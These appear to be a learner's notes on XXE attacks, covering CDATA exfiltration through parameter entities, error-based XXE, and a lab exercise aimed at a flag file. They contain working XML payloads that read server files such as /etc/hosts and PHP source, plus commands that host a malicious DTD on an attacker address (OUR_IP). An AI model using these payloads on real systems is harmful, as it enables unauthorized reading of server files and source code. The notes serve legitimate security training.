# Advanced Exfiltration with CDATA - In place of the php `filter` method with base64 encoding, we can utilize a different method to extract any kind of data (including binary data) for any web application backend - To output data that does not conform to the XML format, we can wrap the content of the external file reference with a `CDATA` tag ```xml <![CDATA[ FILE_CONTENT ]]> ``` - In turn, the XML parser will consider the CDATA wrapped part as raw data, which may contain any type of data, including any special characters - We can define a `begin` internal entity with `<![CDATA[` and `end` internal entity with `]]>`, where our external entity file is placed therebetween - Below is an example xml payload that uses this technique ```xml <!DOCTYPE email [ <!ENTITY begin "<![CDATA["> <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php"> <!ENTITY end "]]>"> <!ENTITY joined "&begin;&file;&end;"> ]> ``` - If we reference the `&joined;` entity, it should contain our escaped data - However, this will not work, since XML prevents joining internal and external entities - To bypass this limitation, we can utilize `XML Parameter Entities`, a special type of entity that starts with a `%` character and can only be used within the DTD such as below ```xml <!ENTITY joined "%begin;%file;%end;"> ``` - Let's put this altogether and try to read `submitDetails.php` - First, store the above workaround as a DTD file and host it from our Kali machine ```bash echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd python3 -m http.server 8000 ``` - Now we can reference our external entity (`xxe.dtd`) and then print the `&joined;` entity we defined above using the below xml payload, which should contain the content of the `submitDetails.php` file ```xml <!DOCTYPE email [ <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag --> <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file --> <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag --> <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD --> %xxe; ]> ``` - Insert above into the POST request and specify `&joined;` as the email to get the source code for `submitDetails.php` ![[images/Pasted image 20260113202109.png]] - This trick can become very handy when the basic XXE method does not work or when dealing with other web development frameworks and can be used to read other files # Error-based XXE - If the web app displays runtime errors (e.g., PHP errors) and does not have proper exception handling for the XML input, then we can use this flaw to read the output of the XXE exploit - However, if the web app neither writes XML output nor displays any errors, we would face a completely blind situation, which is discussed later - Assume none of the XML input entities is displayed on the screen, and because of this, we have no entity that we can control to write the file output - Let's try to send malformed XML data, and see if the web application displays any errors - To do so, we can delete any of the closing tags, change one of them, so it does not close (e.g. `<roo>` instead of `<root>`), or just reference a non-existing entity like below ![[images/Pasted image 20260113203351.png]] - Here, we see that the web app displayed an error and also revealed the web server directory, which we can use to read the source code of other files - Now, we can exploit this flaw to exfiltrate file content - To do so, we will use a similar technique to what we used earlier - First, we will host a DTD file that contains the following payload ```xml <!ENTITY % file SYSTEM "file:///etc/hosts"> <!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>"> ``` - The above payload defines the `file` parameter entity and then joins it with an entity that does not exist - In our previous exercise, we were joining three strings - In this case, `%nonExistingEntity;` does not exist, so the web application would throw an error saying that this entity does not exist, along with our joined `%file;` as part of the error - Second, we can call our external DTD script, and then reference the `error` entity as shown below ```xml <!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd"> %remote; %error; ]> ``` - Once we host our DTD script as we did earlier and send the above payload as our XML data (no need to include any other XML data), we will get the content of the `/etc/hosts` file as follows ![[images/Pasted image 20260113213129.png]] - This method may also be used to read the source code of files. All we have to do is change the file name in our DTD script to point to the file we want to read (e.g. `"file:///var/www/html/submitDetails.php"`) - However, this method is not as reliable as the previous method for reading source files, as it may have length limitations, and some special characters may break it # Exercise ## Intial Enum - `ping` test ![[images/Pasted image 20260113213531.png]] - `nmap` scan ![[images/Pasted image 20260113213536.png]] ## CDATA Technique - visit page `/index.php` ![[images/Pasted image 20260113213743.png]] - provide test data and intercept request ![[images/Pasted image 20260113213836.png]] - forward request ![[images/Pasted image 20260113213924.png]] - host external reference file using ```bash echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd python3 -m http.server 8000 ``` ![[images/Pasted image 20260113214111.png]] - modify Post request and add `&joined;` to email field - failure ![[images/Pasted image 20260113214716.png]] - try to use `file:////flag.php` ![[images/Pasted image 20260113214800.png]] ## Error Technique - visit `/error` ![[images/Pasted image 20260113215921.png]] - provide test data and send tot `repeater` - host external reference with content including ```xml <!ENTITY % file SYSTEM "file:///flag.php"> <!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>"> ``` ![[images/Pasted image 20260113215411.png]] - modify Post request as shown below to pull in hosted external reference ![[images/Pasted image 20260113215935.png]]